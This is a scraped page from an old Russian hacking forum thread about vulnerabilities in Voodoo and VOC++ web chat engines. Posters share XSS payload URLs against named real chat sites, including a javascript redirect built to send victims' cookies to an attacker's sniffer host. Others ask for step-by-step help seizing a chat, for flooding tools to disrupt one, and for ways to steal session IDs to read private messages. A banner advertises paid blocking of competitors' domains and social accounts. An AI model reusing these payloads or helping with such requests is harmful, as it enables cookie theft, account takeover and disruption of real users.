Voodoo чаты

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Чаты
Voodoo чаты

Страница 25 из 26

« Первая

Опции темы

Поиск в этой теме

Опции просмотра

#241

26.02.2009, 07:48

Ctacok

Moderator - Level 7

Регистрация: 19.12.2008

Сообщений: 1,203

С нами: 9154406

Репутация: 2221

Цитата:

Сообщение от gold_555

У меня хоть и не большие познания в javascript могу я следующим образом получить куки пользователя:

Кидаю к примеру ссыль юзеру в чат http://site.ru/file.html

file.html содержит следующий код

PHP код:


		
			
<a href="http://chatname.ru/go.php?url=javascript:window.location.href='http://site.ru/sniffer/'">Click</a>

Т.е смысл следующий юзер щелкает по ссылке и переходит по адрксу http://site.ru/file.html, оттуда он переадресуется на страницу чата http://chatname.ru/go.php, выполняется java script по переходу на страницу со снифером, снифер читает куки

Такое реально???

Правильнее будет на снифере сделать переадресацию
Когда юзер уже зайдёт на него

#242

05.05.2009, 11:46

.-=:KiLLing:=-.

Познающий

Регистрация: 04.05.2009

Сообщений: 41

С нами: 8957961

Репутация: 16

так для VOC++ никто ничего существенного и не нашёл?
VOC++ рулит!

#243

15.05.2009, 22:35

.-=:KiLLing:=-.

Познающий

Регистрация: 04.05.2009

Сообщений: 41

С нами: 8957961

Репутация: 16

а флудера так и нет рабочего? на Voc++ бизнес едишен ни 1 флудер из сдешних неработает) ещё недавно гдето тут был программой (не скриптом) флудер! работал ещё! сейчас зашёл хотел приколоться в стареньком чате) ан нет! тоже не работает)))) ну что мож кто что подскажет?

#244

10.06.2009, 21:30

Flair

Познающий

Регистрация: 07.05.2009

Сообщений: 70

С нами: 8954316

Репутация: 38

вот xss
http://****.ru/chat/go.php?url=javascript:alert(/Tested%20by%20qBiN/);
вот снифер
_http://Flair.ezar.ru/sniff/s.gif
че терь нада сделать, какую ссылку нада сгенерировать чтобы, когда на нее зайдут мне в снифер пришли куки и т.д
напишите пожалуйста правельную ссылку чтобы xss работала

)

#245

10.06.2009, 22:01

neval

Moderator - Level 7

Регистрация: 13.12.2006

Сообщений: 531

С нами: 10215686

Репутация: 383

Цитата:

Сообщение от .-=:KiLLing:=-.

так для VOC++ никто ничего существенного и не нашёл?
VOC++ рулит!

Морально и технически устаревший код, который предприимчивые кодеры из креатив десинг обвешали модами, внеся еще большую путаницу в код, который не работает с большей частью броузеров рулит?

Чат устарел, дописывания для него модов уже неперспективное занятие, его только переписывать заново с учетом возможностей php5 и ajax.

#246

21.06.2009, 14:01

g.moralez

Новичок

Регистрация: 20.06.2009

Сообщений: 1

С нами: 8890642

Репутация: 0

здраствуйте)....нужна помощь...http://chat.shadrinsk.net/ -хочу заиметь права
на нём есть дырка- http://chat.shadrinsk.net./password_reminder.php?look_for=%3Cscript%3Ealert(/qBiN%20test/);%3C/script%3E
перечитал кучу страниц инфы здесь, в голове образовалась каша

, думаю позже рассасётся)
а пока потскажите пошагово какие действия предпринять?

#247

30.06.2009, 17:07

No_smoking

Новичок

Регистрация: 30.06.2009

Сообщений: 1

С нами: 8876289

Репутация: 0

Здравствуйте, товарищи.
Кто-нить может дать попользовацца флудером для voodoo-chat?
Конкретно для этого http://chat.flirt.ru/ - по некоторым данным это первый чат на движке voodoo, созданный Владом Востых. Типа чат-прототип. Я там давно тусуюсь, чат старый, без админов и модеров и какого-либо контроля.
В первую очередь интересует "мозгодёр" с входом-выходом, который уже несколько дней кто-то в этом чате применяет.

яяяяяяя

#248

28.08.2009, 11:11

~~denisov21g21~~

Banned

Регистрация: 01.07.2009

Сообщений: 21

С нами: 8874516

Репутация: -5

яяяяяяя

служба поддержки VDS manager
591-493-245

#249

13.09.2009, 13:52

KiloN

Новичок

Регистрация: 12.09.2009

Сообщений: 3

С нами: 8770092

Репутация: -5

Всем привет!
Помогите взломать вот этот чат: http://www.strezhi.ru/chat/

Там есть два способа!
Залесть в инфу: http://www.strezhi.ru/chat/user_info.php?session=
И читать приваты: http://www.strezhi.ru:9014/?

Пробовал всё работает, только вот проблемма, сессии то не все дают... т.е. не у всех её выпросишь...
Вообщем-то у меня такой вопрос: Как можно заполучить сессию на этом чате, не прося её и такое вообще возможно?!

Последний раз редактировалось KiloN; 13.09.2009 в 13:55..